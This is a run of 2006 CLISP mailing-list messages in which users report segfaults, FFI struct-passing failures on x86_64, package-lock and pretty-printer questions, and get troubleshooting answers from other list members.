it so), it would be a great step forward from now, where you have to
decide what to include into full package, or make separate images for
every desired *combination* of modules.

Thanks for your comments,

Tomas Zellerin


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Hello,

While doing some stuff with finalizers and weak hashtables I started to
experience some CLISP segfaults. Here's a small test case:

luis@nhop:~$ clisp -q
;; Loading file /home/luis/.clisprc ...
;; Loaded file /home/luis/.clisprc
[1]> (lisp-implementation-version)
"2.38 (2006-01-24) (built 3351437825) (memory 3354064396)"
[2]> (defvar *wh* (make-hash-table :test 'eq :weak :key))
*WH*
[3]> (let ((obj (copy-seq "xpto")))
       (setf (gethash obj *wh*) (list 1 2 3))
       (finalize obj (lambda (o) (write-line "garbage!"))))
NIL
[4]> (gc)

*** - handle_fault error2 ! address = 0xe000003e not in [0x67ffa2d0,0x680a5000) !
SIGSEGV cannot be cured. Fault address = 0xe000003e.
Permanently allocated: 104032 bytes.
Currently in use: 2747808 bytes.
Free space: 620832 bytes.
Segmentation fault



If I place a different value in the weak hashtable that has other
references or is otherwise not garbage collectable, CLISP doesn't
crash. At least that's the pattern I see.

Also, CLISP won't crash if I don't add a finalizer to OBJ.

HTH

-- 
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These seem not to work in 2.38 downloaded from
http://sourceforge.net/project/showfiles.php?group_id=1355
e.g., clisp-2.38-x86_64-unknown-linux-gnu-2.6.9.tar.gz

I notice that they do seem to work in clisp.i386 2.38-1.fc4
Also in at least one version I have built from cvs ~Mar 1.

Searching the mailing list archives for KEYBOARD shows me nothing
since 2.38.

I do notice that working with-keyboard seems to correlate with
#+screen.  Is that coincidence?  Can it be made to work even when
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Hi,

I develop a TwinLisp ( http://twinlisp.nongnu.org/ ). TwinLisp is a "common"
syntax on top of CLisp plus some libraries. Currently, I want to add a use of
debugger in the TL's interpreter. The shortest way is to use CLisp's
function(s),  modified a bit, so that debugger will accespt input in TL's syntax.

Can you point me at which function is invoked at repl in CLisp, and where can I
find it's source code. If it is straight forward, can you tell me how to make
debugger use read(translate(...)) function instead of just read()-ing from a
console.

Thank you in advance.



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Mikalai Birukou writes:
> Hi,
> 
> I develop a TwinLisp ( http://twinlisp.nongnu.org/ ). TwinLisp is a "common"
> syntax on top of CLisp plus some libraries. Currently, I want to add a use of
> debugger in the TL's interpreter. The shortest way is to use CLisp's
> function(s),  modified a bit, so that debugger will accespt input in TL's syntax.
> 
> Can you point me at which function is invoked at repl in CLisp, and where can I
> find it's source code. If it is straight forward, can you tell me how to make
> debugger use read(translate(...)) function instead of just read()-ing from a
> console.

src/debug.d  
Have a look at: SYS::READ-FORM, perhaps.


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Does anyone know what causes or what could prevent the following:

Upon a call to (run-shell-command "ssh elsewhere") from an interactive session, the title bar changes to the user@elsewhere.  Upon returning from the call, the title bar of the window does not change back to the current user@localmachinename.

Also, could someone tell me how to background a shell-command in an interactive session?


Thanks,
Rod


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Nico wrote:
>I posted before on this list on the same subject. However, I=20
>investigated some more after that.
Thanks for taking the time to make a short example so I could look at =
it.

The parts relevant to the issue are
>(def-c-var sequencetab
and
>    (dolist (var '(sequencetab))
>      (set var (read stream)))))

IMHO this codes assumes undocumented behaviour of CLISP.

DEF-C-VAR introduces a global symbol macro.  Introducing a symbol macro =
changes the interpretation of programs.  E.g. the interpreter (and =
compiler) will assign a new meaning to an occurrence of the form =
SEQUENCETAB, and substitute the macro definition.

However, using SET (aka SETF SYMBOL-VALUE) "bypasses" interpretation of =
programs.  It accesses the value cell of a symbol.
Your program expects that cell to contain something related to the =
interpretation of programs.  But normally, such information is kept in =
what's called the environment.

>This 'works' with clisp 2.33.
Indeed, on 2005-01-01 Bruno Haible introduced a change which made =
global symbol macros orthogonal to symbol-value.

Before that, the symbol macro definition where found in a symbol's =
value cell.  SET and SYMBOL-VALUE where special-cased so as to perform =
the substitution.  In effect they were doing part of the interpreter's =
job.
Since the change, the substitution is kept in the interpreter's (or =
compiler's) environment -- where it arguably belongs.
SYMBOL-VALUE is left untouched, and freely available.
I don't know what motivated this change last year.


Great (disappointing?) news, now let's return to your problem:
>(defun load-seq (filename)
>  (with-open-file (stream filename :direction :input=20
>                   :if-does-not-exist :error)
>    (dolist (var '(sequencetab))
>      (set var (read stream)))))
>(load-seq "Mandseq-file")

It looks like your functions "expects" to alter the interpretation of =
the symbol SEQUENCETAB.  This is a job of the interpreter (or =
compiler), and SET or SYMBOL-VALUE will not manage to do so (anymore).
So you need to modify the environment.

Your initial example was:
>(defmacro def-i/o (writer-name reader-name (&rest vars))
>(def-i/o save-seq load-seq (sequencetab))

Since you statically know the names of the variables involved, you can =
have def-i/o generate the following snippet of code:
 ... (setq/setf sequencetab (read stream))
[As usual, use macroexpand-1 to test macro output.]

Then the interpreter (and compiler) will do the right thing, since they =
know (from their environment) that sequencetab is a foreign variable.
It's purely lexical, there's no need for SPECIAL declarations or =
SYMBOL-VALUE.

Regards,
	J=F6rg H=F6hle.



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[Sorry for the late reply]
Denis Lorrain wrote:

>   I have recently started using CLISP on a Windows PC.
>   Could somebody tell me how one can TYPE, IN THE INTERPRETER
>WINDOW, such characters as
># \ { [ | ^ @ ] }
>On my french keyboard, these are typed with the <AltGr> key, or
><Alt><Ctrl> combination.

I'm sorry, I've no idea.  Is this particular to CLISP or does every DOS =
command line application pose problems?
I can vaguely remember my wife's MS-window-98 office PC raise similar =
problems.  IIRC, the backslash \ was not easily available in a command =
shell (bad for pathnames!), independently on CLISP.
What version of MS-Windows are you using?
I've experienced no such problems with MS-Windows-95, NT, 2k.

Please be more specific in bug reports and problem inquiries.

Regards,
	J=F6rg H=F6hle.


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Mikalai Birukoucan asks:
>Can you tell me how to make
>debugger use read(translate(...)) function instead of just 
>read()-ing from a console.

Another idea than Pascal Bourguignon's may be to have *debugger-io*, *query-io* be changed to streams that perform this substitution on the original stream input.  See ext:make-input-buffered-stream, or make-string-input-stream.

Regards,
	Jorg Hohle.


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Roderick Ford asks:
>Also, could someone tell me how to background a shell-command=20
>in an interactive session?
RTFM. use the :wait keyword?

>Upon a call to (run-shell-command "ssh elsewhere") from an=20
>interactive session, the title bar changes to the=20
>user@elsewhere.  Upon returning from the call, the title bar=20
>of the window does not change back to the current=20
>user@localmachinename.

No idea. Please file a bug report to clisp's bug tracker at sourceforge =
if you have reasons to believe that CLISP is the cause.
Since changing the title bar AFAIK requires sending special escape =
sequences to the terminal, and clisp never(?) does so, this is good =
reason to me that the bug is not on clisp's side.
Each application is responsible for returning the terminal to a sane =
mode (e.g. cooked mode) upon exit.  That's why killing a program that =
went to raw mode will leave your terminal in a weird state, not always =
recoverable... :-(

Regards,
	J=C3=B6rg H=C3=B6hle.



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Do you know which file contains source for system::read-eval-print ?
Thank you in advance.



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Mikalai Birukou writes:
> Do you know which file contains source for system::read-eval-print ?
> Thank you in advance.

I don't know, but it might be worthwhile to learn some more about
basic unix commands, like grep and find.  Alternatively, if you're
rich, you can buy a MacOSX, and use MacOSX and Xcode indexing
features.










Try: 

  find clisp-2.38 -type f -exec grep -in -e read.eval.print {} /dev/null \;


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I have a server running FC4 which recently rebooted and could no
longer run my clisp server code.  I reduced the problem to starting
the image, doing (gc) and getting an incurable segfault.
This server gets automatic FC4 updates, inc. the OS, but does not
automatically reboot when it does.  The recent reboot was to
2.6.16-1.2069_FC4, and I found that when I backed up to an earlier
OS version the problem went away.  I'm currently using the old OS
and thinking I better fix this before the next reboot after the 
next OS version arrives.  I'd be grateful for any advice on the
subject of how to find and fix the problem other than to stop 
getting OS updates.
I could, if necessary, reboot to the new OS to gain more info,
but I do have an strace of one instance of the problem if that will
help.
I suppose this is unrelated to the .mem, purely a function of the
lisp.run.  In this case it's an old one, 2.31, but I don't have any
reason to think a more recent one would behave any differently.



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On 4/20/06, Don Cohen <don-sourceforge-xx@isis.cs3-inc.com> wrote:
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(...)
> I suppose this is unrelated to the .mem, purely a function of the
> lisp.run.  In this case it's an old one, 2.31, but I don't have any
> reason to think a more recent one would behave any differently.

I am running clisp-2.38 with kernel-2.6.16-1.2069_FC4.i586.rpm, so
there may be a difference. And again, having many other factors
unknown (module, how it was built, ...), maybe not.


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Don Cohen wrote:
>I have a server running FC4 which recently rebooted and could no
>longer run my clisp server code.
>This server gets automatic FC4 updates, inc. the OS, but does not
>automatically reboot when it does.  The recent reboot was to
>2.6.16-1.2069_FC4
[...]
>In this case it's an old one, 2.31, but I don't have any
>reason to think a more recent one would behave any differently.

I believe you should try a newer clisp.  The reason is that when low-level changes in kernels affect the memory layout that applications get to see, CLISP is typically affected (e.g. randomize VA space, new addresses for shared libraries etc.).  Then CLISP's source code is modified to work under the new configuration.  That's why it may not work to run some old clisp in a new kernel.

This is just a guess.  Alas, I have no idea which (if any) these changes to CLISP are, in case you prefer to backport them to your 2.31, instead of using a newer version.

It's not nice at all to see a running program not survive an OS upgrade. I think that's a drawback of CLISP's typical 32bit address space memory partitioning.  If this matters much to you, and performance doesn't suffer, you may try to use the WIDE_SOFT version instead, for I believe this has no such dependencies.

>I suppose this is unrelated to the .mem, purely a function of the
>lisp.run.
Just start the lisp.run without .mem, and issue (ext:gc) or whatever at the prompt.

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	Jorg Hohle.


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rso@gmx.at writes:
> Hallo,
> 
> I have a unix (freebsd) specific problem, at least that is what I
> think. Here is the situation:
> 
> I run a clisp cgi script in apache2 in a directory with permissions
> 777. This clisp script creates a  file example.tex Then I let lisp
> execute a perl script with this function:
> 
> (defun makePicFile (input texSource)
>    "creates picture file with same name as html file but different
>      ending, returns the name of the  picture"
> (EXT:RUN-PROGRAM "./textogif" :ARGUMENTS
> 		 (list "-png"
> 		       (writeToFile (mkName input ".tex")
> 				    texSource))
> 		 :OUTPUT NIL)
> (mkName input ".png"))
> 
> Now all this worked fine on a ubuntu linux system, but unfortunately
> not on the freebsd system.
> 
> I changed the header of the perl script, it has all the
> permissions. If I start the perl script  manually as a user
> everything works fine. It creates the file, makes the system calls
> etc. So it is  not the problem of the perl script.
> 
> If the perl script (started by clisp) is run by the apache user www
> it fails at the first system call: echo x | latex example.tex
> returns: Error processing Command and the perl script exits. Which I
> know  from reading the  httpd-error.log file.

Do you have more details on this error?

What is different in the CGI environment is the user and group, the
SUID bit which is reset by the server, and the environment variables.
(Perhaps the root directory, if a chroot jail is activated).

I'd bet for the environment variables.

Add:

(format t "<table>~%")
(dolist (var-val (ext:getenv))
  (format t "<tr><td>~A</tr><td>~A</td></tr>~%" (car var-val) (cdr var-val)))
(format t "</table>~%")

to your CGI clisp script.

Check the PATH variable.  Does it contain the directory where latex lies?

If not, try to use absolute pathnames in your perl script, or add the
relevant directories to the environment variable before calling the
perl script:

(setf (ext:getenv "PATH") (format nil "~A~{:~A~}" (ext:getenv "PATH")
                                 '("/usr/bin" "/usr/local/bin" "..." )))
(ext:run-program ...)


> So I thought this is a problem of permissions.
> 
> In [1] I found the keyword :MAY-EXEC specifically for unix systems. So
> I added :MAY-EXEC T to the  makePicFile function above. But this gave
> me the error:
> 
> *** - RUN-PROGRAM: illegal keyword/value pair :MAY-EXEC, T in argument
> list. The allowed keywords  are (:ARGUMENTS :INPUT :OUTPUT
> :IF-OUTPUT-EXISTS :WAIT)
> 
> So I guess this does not exist anymore or in my clisp version?  (GNU
> CLISP 2.38 (2006-01-24) (built 3353839801) C-MODULS: contains
> 'syscalls' too
> 
> How could I solve this problem? 

See above.  If this doesn't work, add more log and error handling,
either in the clisp or in the perl script.
"Error processing Command" doesn't tell much.


> How can I use the :MAY-EXEC keyword?

Well, it should be available, *BSD is UNIX(-like).  
Check whether you've got :UNIX in *FEATURES*.
If not, it may be a problem in configure.
You could get the same effect forcibly using run-shell-command instead
of run-program, and inserting exec in front of the command:


> Is this the right approach? 

I don't think it'll help. exec only serves to avoid one fork in the shell.

> The error might lie in my apache configuration too, but the only
> thing I  found was suExec which doesn't seem to be right.

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Aloha,

wow this mailing list (as in their subscribers like you) is amazing! Thank you very much for your 
thoughtful reply!
> I'd bet for the environment variables.
Yes that was the problem, it only knew the /usr/bin but all the needed executables are in /usr/local/bin

> (setf (ext:getenv "PATH") (format nil "~A~{:~A~}" (ext:getenv "PATH")
>                                  '("/usr/bin" "/usr/local/bin" "..." )))
yes that is the solution.


> Well, it should be available, *BSD is UNIX(-like).  
> Check whether you've got :UNIX in *FEATURES*.
that is weird though, because I do have :UNIX in *FEATURES* but it still does not know the MAY-EXEC, 
perhaps a bug in clisp?

Anyway thank you very much again, you can see the result at [1]. It is a little parser for the 
French language written in CLISP with the exception of the creation of the image for the syntax 
tree. In case you don't know French here is an example phrase that should work:

Je suis très content avec votre mailinglist.

That said ;)

Bye

Richard



[1] http://rso.mine.nu/parser/main-cgi.lsp


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As far as I understood a manual, macro ext:without-package-lock should let me do
whatever I want with the locked package. But interning symbols seems not to work:

[1]> (ext:without-package-lock ("SYSTEM") (defvar system::abcde 123))

** - Continuable Error
INTERN("ABCDE"): #<PACKAGE SYSTEM> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
The following restarts are also available:
ABORT          :R1      ABORT
Break 1 [2]> :q
[3]> CUSTOM:*SYSTEM-PACKAGE-LIST*
("XPM" "XLIB" "LINUX" "READLINE" "REGEXP" "POSIX" "I18N" "EXPORTING"
 "CS-COMMON-LISP" "SYSTEM" "COMMON-LISP" "EXT" "GRAY" "CHARSET" "CLOS" "SOCKET"
 "GSTREAM" "FFI" "SCREEN")
[4]>

I get this in CLisp 2.38 (the current one).

Is interning disallowed under ext:without-package-lock macro? Or is it a bug?

Thank you in advance.




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Mikalai Birukou writes:
>[1]> (ext:without-package-lock ("SYSTEM") (defvar system::abcde 123))
>INTERN("ABCDE"): #<PACKAGE SYSTEM> is locked

READ->EVAL->PRINT.
The reader signals an error long before any code gets executed.

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The following program works fine on a=20=20
Intel Xeon machine (used as a i686 machine),=20
but fails on a different
machine with the same CPU, but used as a x86_64 machine.

First, the FFI tests on installation work ok even on x86_64.
All tests made on stock clisp-2.38.

Here the source for the C library (file proj.c):
(for the full story, it is the interface to the geographical
projections library PROJ, available on Debian under the same name)
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
#include <stdio.h>

struct projUV {
  double u, v;
};

typedef void * opaque;

opaque pj_init_plus(char * str)
{
  opaque p =3D malloc(123);
  fprintf(stderr, "Init: %s proj =3D %p\n", str, p);
  fprintf(stderr, "sizeof(int)=3D%d\n", sizeof(int));
  fprintf(stderr, "sizeof(long int)=3D%d\n", sizeof(long int));
  fprintf(stderr, "sizeof(void *)=3D%d\n", sizeof(opaque));
  return p;
}

void pj_free(opaque proj)
{
  free(proj);
  fprintf(stderr, "Free ok\n");
}

int pj_errno =3D 0;

char * pj_strerrno(int bidon)
{
  static char tampon[40];
  sprintf(tampon, "strerrno %d\n", bidon);
  return tampon;
}

struct projUV pj_fwd(struct projUV in, opaque proj)
{
  struct projUV ret;
  fprintf(stderr, "Input proj =3D %p u =3D %g v =3D %g\n", proj, in.u, in.v=
);
  ret.u =3D 2*in.u;
  ret.v =3D 3*in.v;
  fprintf(stderr, "Output u =3D %g v =3D %g\n", ret.u, ret.v);
  return ret;
}
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D
To be compiled as:
cc -shared -fPIC -o libproj.so proj.c


And now the FFI module (file test.lsp):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
;;; -*- Mode:Lisp; Syntax: Common-lisp; Package:PROJ; Base:10; Lowercase: Y=
es -*-

(in-package :cl-user)

(defpackage :proj
  (:use :common-lisp :ffi)
  (:export :pj-init-plus :pj-fwd))

(in-package :proj)

;;; FFI

(default-foreign-language :stdc)

;; Structure d=E9crivant les coordonn=E9es d'un point sur une carte
(def-c-struct projUV (u double-float) (v double-float))

;; Lib=E9ration de la structure d'initialisation allou=E9e dans l'espace C
(def-call-out pj-free
  (:name "pj_free")
  (:return-type nil)
  (:library "libproj.so")
  (:arguments (proj c-pointer)))

;; Message d'erreur
(def-c-var pj-errno
  (:name "pj_errno")
  (:library "libproj.so")
  (:type int))

(def-call-out pj-strerrno2
  (:name "pj_strerrno")
  (:library "libproj.so")
  (:return-type c-string)
  (:arguments (err int)))

(defun pj-strerrno ()
  (pj-strerrno2 pj-errno))
=20=20=20=20
;; Initialisation de 'proj'
(def-call-out pj-init-plus2
  (:name "pj_init_plus")
  (:return-type c-pointer)
  (:library "libproj.so")
  (:arguments (args ffi:c-string)))

(defun pj-init-plus (str)
  (let ((project (pj-init-plus2 str)))
    (ext:finalize project #'pj-free)
    (if (null project)
	(error "~a" (pj-strerrno))
	project)))

;; Transform=E9e lon/lat --> x/y
(def-call-out pj-fwd2
  (:name "pj_fwd")
  (:return-type projUV)
  (:library "libproj.so")
  (:arguments (coords projUV)
	      (proj c-pointer)))

(let ((val-fwd (make-projUV)))
  (defun pj-fwd (x y proj)
    "Transform=E9e lon/lat --> x/y; lon/lat sont en radians
 et 'proj' est l'objet retourn=E9 par 'pj-init-plus'."
    (setf (slot-value val-fwd 'u) (coerce x 'double-float)
	  (slot-value val-fwd 'v) (coerce y 'double-float))
    (let ((r (ignore-errors
	       (format t "Problem passing argument ~a ?~%" val-fwd)
	       (pj-fwd2 val-fwd proj))))
      (format t "No serious problem if you see this ! But is the return val=
ue ~a ok ?...~%" r)
      (unless (=3D 0 pj-errno) (error "~a" (pj-strerrno)))
      (values (slot-value r 'u) (slot-value r 'v)))))

;;; Test Mercator

(let ((project (pj-init-plus "+proj=3Dmerc +ellps=3Dclrk66 +lat_ts=3D33")))
  (defun test-mercator ()
    (format t "~&R=E9f=E9rence Mercator: 4205486.84 8492817.78~%")
    (multiple-value-bind (x y)
	(pj-fwd 45 67 project)
      (format t "Test Mercator: ~a ~a~%" x y))))

(test-mercator)
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D

Output from the i686 machine:

[1]> (load "test.lsp")
;; Loading file test.lsp ...Init: +proj=3Dmerc +ellps=3Dclrk66 +lat_ts=3D33=
 proj =3D 0x81ea530
sizeof(int)=3D4
sizeof(long int)=3D4
sizeof(void *)=3D4

R=E9f=E9rence Mercator: 4205486.84 8492817.78
Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ?
Input proj =3D 0x81ea530 u =3D 45 v =3D 67
Output u =3D 90 v =3D 201
No serious problem if you see this ! But is the return value #S(PROJUV :U 9=
0.0d0 :V 201.0d0) ok ?...
Test Mercator: 90.0d0 201.0d0
;; Loaded file test.lsp

--------------------------------------

And from the x86_64 machine:

[1]> (load "test.lsp")
;; Loading file test.lsp ...Init: +proj=3Dmerc +ellps=3Dclrk66 +lat_ts=3D33=
 proj =3D 0x75aa50
sizeof(int)=3D4
sizeof(long int)=3D8
sizeof(void *)=3D8

R=E9f=E9rence Mercator: 4205486.84 8492817.78
Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ?
Input proj =3D 0x4046800000000000 u =3D 0 v =3D 0
Output u =3D 0 v =3D 0
No serious problem if you see this ! But is the return value #S(PROJUV :U 0=
.0d0 :V 0.0d0) ok ?...
Test Mercator: 0.0d0 0.0d0
;; Loaded file test.lsp
----------------------------------------

So there is something weird happening, related to pointer apparently.

I have tried to fiddle with the gcc option "-m32" on the 64 bits
machine, but clisp-2.38 insists on compiling x64_86 assembler code (in
avcall), and fails to even configure.

Best regards.

--=20

Bernard Urban



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Mikalai Birukou writes:

> As far as I understood a manual, macro ext:without-package-lock
> should let me do whatever I want with the locked package. But
> interning symbols seems not to work:
> 
> [1]> (ext:without-package-lock ("SYSTEM") (defvar system::abcde 123))
> 
> ** - Continuable Error
> INTERN("ABCDE"): #<PACKAGE SYSTEM> is locked
> If you continue (by typing 'continue'): Ignore the lock and proceed
> The following restarts are also available:
> ABORT          :R1      ABORT
> Break 1 [2]> :q
> [3]> CUSTOM:*SYSTEM-PACKAGE-LIST*
> ("XPM" "XLIB" "LINUX" "READLINE" "REGEXP" "POSIX" "I18N" "EXPORTING"
>  "CS-COMMON-LISP" "SYSTEM" "COMMON-LISP" "EXT" "GRAY" "CHARSET" "CLOS" "SOCKET"
>  "GSTREAM" "FFI" "SCREEN")
> [4]>
> 
> I get this in CLisp 2.38 (the current one).
> 
> Is interning disallowed under ext:without-package-lock macro? Or is it a bug?

See Joerg-Cyril's answer.

(ext:without-package-lock ("SYSTEM") (intern "ABCDE" "SYSTEM"))
(defvar system::abcde 123)


(ext:without-package-lock ("SYSTEM") (load "definitions-in-system-package.lisp"))
would work too, since none of the symbols in the above form are to be
interned in the SYSTEM package.

-- 
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Pascal Bourguignon <pjb <at> informatimago.com> writes:
--- snip ---
> 
> See Joerg-Cyril's answer.
> 
> (ext:without-package-lock ("SYSTEM") (intern "ABCDE" "SYSTEM"))
> (defvar system::abcde 123)
> 
> (ext:without-package-lock ("SYSTEM")
>  (load "definitions-in-system-package.lisp"))
> would work too, since none of the symbols in the above form are to be
> interned in the SYSTEM package.
> 

Silly me. That was an obvious step.
Thank you guys.




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On Apr 18, 2006, at 5:12 PM, Pascal Bourguignon wrote:

 > Mikalai Birukou writes:

 >> Do you know which file contains source for system::read-eval-print?
 >> Thank you in advance.
 >
 > I don't know, but it might be worthwhile to learn some more about
 > basic unix commands, like grep and find.  Alternatively, if you're
 > rich, you can buy a MacOSX, and use MacOSX and Xcode indexing
 > features.

Xcode won't actually help you with Lisp files.  But my Spotlight
plugin for OS X[1] will:

   heavymeta:~ wiseman$ mdfind "org_lisp_defuns == 'gethash'"
   /Users/wiseman/bin/ccl-1.0/level-0/l0-hash.lisp
   /Users/wiseman/bin/ccl-1.0-rc1-050924/level-0/l0-hash.lisp
   /Users/wiseman/src/sbcl-0.9.7/src/code/target-hash-table.lisp

   heavymeta:~ wiseman$ mdfind "org_lisp_defmacros == '*loop*'"
   /Users/wiseman/inet/inet misc/iagent/SFA/MCL 4.0/Library/mit- 
loop.lisp
   /Users/wiseman/bin/ccl-1.0/hemlock/src/charmacs.lisp
   /Users/wiseman/bin/ccl-1.0/hemlock/src/display.lisp
   /Users/wiseman/bin/ccl-1.0-rc1-050924/hemlock/src/key-event.lisp
   /Users/wiseman/inet/inet misc/iagent/Lisp/Norvig/loop.lisp
   /Users/wiseman/inet/inet misc/iagent/SFA/MCL 4.0/Library/extended- 
loop.lisp
   /Users/wiseman/src/bknr/thirdparty/clim-examples-moeller/alganima/ 
binary-trees/listener.lisp
   /Users/wiseman/src/bknr/thirdparty/mcclim/Backends/beagle/image.lisp


Richly yours,
John Wiseman


[1] http://lemonodor.com/archives/001232.html



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Hi,

I'd expect something like the following

  (flet ((my-symbol-pprint (stream obj)
           (let ((*print-pretty* nil))
             (princ "++" stream) (princ obj stream) (princ "++" stream))))
    (let ((*print-pprint-dispatch* (copy-pprint-dispatch)))
      (set-pprint-dispatch 'symbol #'my-symbol-pprint)
      (princ-to-string (macroexpand '(loop for i in '(1 2 3) collect i)))))

to print out every symbol with leading and trailing ++. Granted, the
entry in the pprint-dispatch table is only for type SYMBOL and not for
(CONS SYMBOL), so maybe my expectations are simply wrong. On the other
hand, (FWIW anyway), other implementations I tried (SBCL, CMUCL, ACL)
behave the way I expect. Unfortunately, I find the CLHS to be somewhat
scarce on the whole pretty printer subject, so it's hard to find a
decisive answer; the closest argument for my case, is rather shallow, as
in 22.1.3.5 it says:

  Therefore the following algorithm is used to print a cons x:

    1. A left-parenthesis is printed.
   
    2. The car of x is printed.
   
    3. If the cdr of x is itself a cons, [...]
   
    4. [...]
   
    5. A right-parenthesis is printed.

Now, that's actually the algorithm for the case that *PRINT-PRETTY* is
NIL, but no such explicit algorithm is offered for the case where it's
T, since it's supposed to be similiar enough except for some mentioned
details. Now of course, the interesting point is what is meant with the
second point, "[t]he car of x is printed": Does this mean -- when
*PRINT-PRETTY* is true -- that the CAR of X is supposed to go through
the whole pretty printing mechanism? If so, I think my expectation is
justified.

What's your opinion?

  -T.



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I am using clisp with Emacs and inf-lisp.el (Inferior Lisp mode) on Windows.

When I hit ctrl-d in the break loop in the inferior lisp buffer, the entire clisp process exits - not just the break loop as I would expect.  When running clisp.exe standalone in the windows console window, ctrl-d exits 1 level of the break loop, and this is a lot more convenient than typing "abort" or :q.

So how do I get the ctrl-d to work in Emacs?  Is this simply a limitation of inf-lisp.el?  Should I give ilisp (http://sf.net/projects/ilisp) a go?

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Date: Sun Apr 23 08:54:01 2006
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Nicholas Sandow writes:
> I am using clisp with Emacs and inf-lisp.el (Inferior Lisp mode) on Windows.
> 
> When I hit ctrl-d in the break loop in the inferior lisp buffer, the
> entire clisp process exits - not just the break loop as I would
> expect.  When running clisp.exe standalone in the windows console
> window, ctrl-d exits 1 level of the break loop, and this is a lot
> more convenient than typing "abort" or :q.

Well, in my inferior-lisp buffers, C-d at the end of the buffer does
the right thing: exit from the break loop, or exit from clisp.

Try to send: C-q C-d RET
in both cases, instead of using comint-send-eof.

Try it in a MS-DOS window too.


> So how do I get the ctrl-d to work in Emacs?  Is this simply a
> limitation of inf-lisp.el?  

Perhaps of clisp compiled on MS-Windows? Or just of MS-Windows?
In my inferior-lisp buffers, C-d is bound to: comint-delchar-or-maybe-eof
which eventually calls process-send-eof, which does:

...
  if (!NILP (XPROCESS (proc)->pty_flag))
    send_process (proc, "\004", 1, Qnil);
  else
    [... shut down the connection ...]

Perhaps on MS-Windows, pty_flag is false?



> Should I give ilisp (http://sf.net/projects/ilisp) a go?

I don't think so.  slime is better.

-- 
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Hi

Thanks for CLISP. I've been using it to learn LISP for the part few  
months and am now moving into CLOS. Everything  has worked as  
described until I ran across the following example:

(defclass TP ()
((name :initarg :name :reader name))
(:metaclass funcallable-standard-class))

The error message tells me that funcallable-standard-class does not  
name a class.
I am working in the package "COMMON-LISP-USER". I have seen the  
documentation that says "COMMON-LISP" does not re-export funcallable- 
standard-class (etc) but I can't make the above example work when I  
am in the CLOS package or the COMMON-LISP package either.

The example above comes (slightly modified) from the 2001 paper by  
Francis Sergeraert entitled Common Lisp, Typing and Mathematics.  
Since this paper epitomizes my reasons for learning LISP, I don't  
want to give up on this example.

The above example is also similar to an example in your CLISP  
documentation, so I'm sure the problem originates on my end, i.e., is  
not a bug.

I am using Mac OS 10.4.6. The LISP version is GNU CLISP 2.3.2.

Any help you can give would be greatly appreciated.

PS your logo is fine with me.

Barney.


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On Sun, 2006-04-23 at 11:15 -0600, Kerrighan wrote:
> The error message tells me that funcallable-standard-class does not  
> name a class.
> 
> I am using Mac OS 10.4.6. The LISP version is GNU CLISP 2.3.2.

Assuming that you mean 2.33.2, please upgrade to 2.38 in order to access
the MOP.  Your example works fine in that version.

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Date: Mon Apr 24 04:38:01 2006
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On balance it is my lack of knowledge of lisp and not CLISP that was at=20
the root of my problem.
After repeated study of your explanation and reference to lisp=20
documentation, I understand what you
said and am a little wiser for that. I tried your suggestion in my=20
function example and it 'worked' as expected
and will implement it in a macro as you suggested.

Thank you for your explanation and help - really appreciated.

Nico Swart.

Hoehle, Joerg-Cyril wrote:

>Nico wrote:
> =20
>
>>I posted before on this list on the same subject. However, I=20
>>investigated some more after that.
>>   =20
>>
>Thanks for taking the time to make a short example so I could look at it.
>
>The parts relevant to the issue are
> =20
>
>>(def-c-var sequencetab
>>   =20
>>
>and
> =20
>
>>   (dolist (var '(sequencetab))
>>     (set var (read stream)))))
>>   =20
>>
>
>IMHO this codes assumes undocumented behaviour of CLISP.
>
>DEF-C-VAR introduces a global symbol macro.  Introducing a symbol macro =
changes the interpretation of programs.  E.g. the interpreter (and compil=
er) will assign a new meaning to an occurrence of the form SEQUENCETAB, a=
nd substitute the macro definition.
>
>However, using SET (aka SETF SYMBOL-VALUE) "bypasses" interpretation of =
programs.  It accesses the value cell of a symbol.
>Your program expects that cell to contain something related to the inter=
pretation of programs.  But normally, such information is kept in what's =
called the environment.
>
> =20
>
>>This 'works' with clisp 2.33.
>>   =20
>>
>Indeed, on 2005-01-01 Bruno Haible introduced a change which made global=
 symbol macros orthogonal to symbol-value.
>
>Before that, the symbol macro definition where found in a symbol's value=
 cell.  SET and SYMBOL-VALUE where special-cased so as to perform the sub=
stitution.  In effect they were doing part of the interpreter's job.
>Since the change, the substitution is kept in the interpreter's (or comp=
iler's) environment -- where it arguably belongs.
>SYMBOL-VALUE is left untouched, and freely available.
>I don't know what motivated this change last year.
>
>
>Great (disappointing?) news, now let's return to your problem:
> =20
>
>>(defun load-seq (filename)
>> (with-open-file (stream filename :direction :input=20
>>                  :if-does-not-exist :error)
>>   (dolist (var '(sequencetab))
>>     (set var (read stream)))))
>>(load-seq "Mandseq-file")
>>   =20
>>
>
>It looks like your functions "expects" to alter the interpretation of th=
e symbol SEQUENCETAB.  This is a job of the interpreter (or compiler), an=
d SET or SYMBOL-VALUE will not manage to do so (anymore).
>So you need to modify the environment.
>
>Your initial example was:
> =20
>
>>(defmacro def-i/o (writer-name reader-name (&rest vars))
>>(def-i/o save-seq load-seq (sequencetab))
>>   =20
>>
>
>Since you statically know the names of the variables involved, you can h=
